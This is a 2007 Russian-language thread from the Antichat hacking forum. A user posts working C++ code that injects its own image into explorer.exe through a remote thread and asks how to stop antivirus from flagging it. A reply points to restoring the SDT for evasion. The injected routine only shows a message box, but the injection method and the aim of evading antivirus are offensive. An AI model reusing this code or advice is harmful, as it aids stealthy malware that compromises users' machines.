HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Беспалевный инжект возможен?
  #1  
Старый 25.06.2007, 16:52
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
С нами: 10067064

Репутация: 455


По умолчанию Беспалевный инжект возможен?

Короче вот код на С++ осуществляющий инжект в експлорер.ехе. Проблема в том что на него ругается антивири . Подскажите решения этой проблемы
Код:
#include < windows.h>
#include < tlhelp32.h>

#pragma comment(linker,"/BASE:0x13140000") 

DWORD GetProcessID(char*);
BOOL Inject(HANDLE,DWORD(WINAPI* func)(LPVOID));
DWORD WINAPI func(LPVOID);


int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)
{
if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID("explorer.exe")),&func)) return false;
return true;
}


DWORD WINAPI func(LPVOID)
{
LoadLibrary("kernel32.dll"); 
LoadLibrary("user32.dll"); 
SYSTEMTIME SysTime;
GetSystemTime(&SysTime);
WORD time=SysTime.wSecond+30;
while(time!=SysTime.wSecond){GetSystemTime(&SysTime);}
MessageBox(0,"Hello from addres area of explorer","title",0);
return true;
}

DWORD GetProcessID(char* lpNameProcess) 
{
HANDLE snap;
PROCESSENTRY32 pentry32;
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE) return 0;
pentry32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;}
do
{
if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0]))
{
CloseHandle(snap);
return pentry32.th32ProcessID;  
}
}while(Process32Next(snap,&pentry32));
CloseHandle(snap);
return 0;
}


BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID))
{
DWORD id;
DWORD ByteOfWriten;
HMODULE hModule = GetModuleHandle(NULL);
DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hM
odule))->e_lfanew+sizeof(DWORD)+
sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_REA
DWRITE);
if(hNewModule==NULL) return false;
WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten);
if(ByteOfWriten!=size){return false;}
HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id);
if(hThread==0) return false;
return true;
}
 
Ответить с цитированием

  #2  
Старый 25.06.2007, 17:09
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами: 10721066

Репутация: 4360


По умолчанию

НУ самый стандартный инжект. Неудивительно, что он детектируется.

по теме - https://forum.antichat.ru/thread42447-%E8%ED%E6%E5%EA%F2.html

Само собой, без восстановления SDT уже не обойтись.

Последний раз редактировалось _Great_; 25.06.2007 в 17:11..
 
Ответить с цитированием

  #3  
Старый 25.06.2007, 17:19
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
С нами: 10067064

Репутация: 455


По умолчанию

_Great_
Спасибо почитаю и изучу.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Инжект и исполнение без открытия процесса! GhostWrite. sn0w С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 8 05.05.2007 02:26
Продам вставки ( IPP, инжект ) для DQ Agent legio Разное - Покупка, продажа, обмен 0 22.02.2007 17:32
Возможен ли взлом c0n Уязвимости 8 06.03.2006 23:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...